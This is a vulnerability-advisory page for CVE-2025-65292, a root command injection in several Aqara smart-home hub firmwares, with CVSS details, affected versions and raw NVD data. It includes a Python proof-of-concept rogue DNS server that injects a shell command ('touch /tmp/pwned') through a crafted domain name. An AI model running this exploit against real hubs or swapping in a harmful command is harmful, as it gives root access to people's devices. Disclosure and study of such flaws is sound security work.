Security Vulnerability Report
中文
CVE-2025-65292 CVSS 7.3 HIGH

CVE-2025-65292

Published: 2025-12-10 22:16:27
Last Modified: 2025-12-17 19:55:09

Description

Command injection vulnerability in Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 allows attackers to execute arbitrary commands with root privileges through malicious domain names.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:* - NOT VULNERABLE
Aqara Camera Hub G3 < 4.1.9_0028
Aqara Hub M2 < 4.3.6_0028
Aqara Hub M3 < 4.3.6_0026

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65292 PoC - Aqara Hub Command Injection # This PoC demonstrates the command injection vulnerability in Aqara Hub devices # Target: Camera Hub G3, Hub M2, Hub M3 import socket import struct import time def build_dns_response_with_payload(): """ Build DNS response with malicious domain containing command injection payload """ # Malicious domain with command injection # Inject: $(touch /tmp/pwned) to demonstrate arbitrary command execution malicious_domain = "test$(touch /tmp/pwned).evil.com" # DNS response packet construction transaction_id = b'\x00\x01' flags = b'\x81\x80' # Standard response questions = b'\x00\x01' answer_rrs = b'\x00\x01' authority_rrs = b'\x00\x00' additional_rrs = b'\x00\x00' # Question section qname = b'' for part in malicious_domain.split('.'): qname += bytes([len(part)]) + part.encode() qname += b'\x00' qtype = b'\x00\x01' # A record qclass = b'\x00\x01' # IN class # Answer section name = b'\xc0\x0c' # Pointer to question name atype = b'\x00\x01' aclass = b'\x00\x01' ttl = b'\x00\x00\x00\x32' rdlength = b'\x00\x04' rdata = socket.inet_aton('127.0.0.1') dns_packet = (transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs + qname + qtype + qclass + name + atype + aclass + ttl + rdlength + rdata) return dns_packet def start_malicious_dns_server(): """ Start DNS server to serve malicious responses """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 53)) print("[*] Malicious DNS server started on port 53") print("[*] Waiting for Aqara Hub DNS queries...") while True: try: data, addr = sock.recvfrom(512) print(f"[+] Received DNS query from {addr}") # Send malicious DNS response response = build_dns_response_with_payload() sock.sendto(response, addr) print("[+] Sent malicious DNS response with command injection payload") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-65292 PoC - Aqara Hub Command Injection") print("=" * 60) print("Target: Aqara Camera Hub G3, Hub M2, Hub M3") print("Vulnerability: Command injection via malicious domain names") print("=" * 60) start_malicious_dns_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65292", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:26.813", "lastModified": "2025-12-17T19:55:09.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerability in Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 allows attackers to execute arbitrary commands with root privileges through malicious domain names."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:*", "matchCriteriaId": "1DA5251B-FBDF-4020-B4AD-8735547D7BAB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A94EB182-2F3B-42B2-935E-72936E6F8F33"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:*", "matchCriteriaId": "4B9661B9-D471-4110-995C-04D9165DEA1F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "8BC51964-8CAB-4849-A383-0D7D1CA68EE2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/DNS-Command-Injection.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}